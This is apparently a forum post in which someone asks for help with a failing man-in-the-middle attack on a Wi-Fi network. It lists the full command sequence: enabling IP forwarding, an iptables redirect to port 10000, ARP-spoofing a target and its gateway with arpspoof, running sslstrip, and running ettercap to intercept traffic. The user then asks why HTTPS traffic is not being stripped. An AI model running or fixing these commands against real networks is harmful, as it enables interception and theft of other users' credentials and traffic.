HW Config:
#Wifi Link 5300 (Network Interface: wlan0)

SW Config:
BackTrack 4 Pre Final that include:
ettercap 0.7.3
arpspoof
sslstrip (I used the v0.4)
.....(openssl)

I followed the following steps:

0 - Start BT 4 Pre Final (ok)

1 - For HTTPS you need to uncomment the right 'redir' command in etter.conf (ok)

2 - echo 1 > /proc/sys/net/ipv4/ip_forward (ok)

3 - iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (ok)

4 - arpspoof -i wlan0 -t <IP Target> <Gateway Target> (ok)

5 - sudo python2.5 sslstrip.py -a -l 10000 (ok)

6 - ettercap -T -q -i wlan0 (ok)

http works, but https is as if it ignores.
Then I repeated the steps to see if connecting to an https site, I would show the certificate warning dialog

0 - Start BT 4 Pre Final (ok)
1 - For HTTPS you need to uncomment the right 'redir' command in etter.conf (ok)
2 - echo 1 > /proc/sys/net/ipv4/ip_forward (ok)
3 - iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (ok)
4 - arpspoof -i wlan0 -t <IP Target> <Gateway Target> (ok)
5 - ettercap -T -q -i wlan0 (ok)

but nothing shows me no warning and the connection is encrypted.

Where did I go wrong?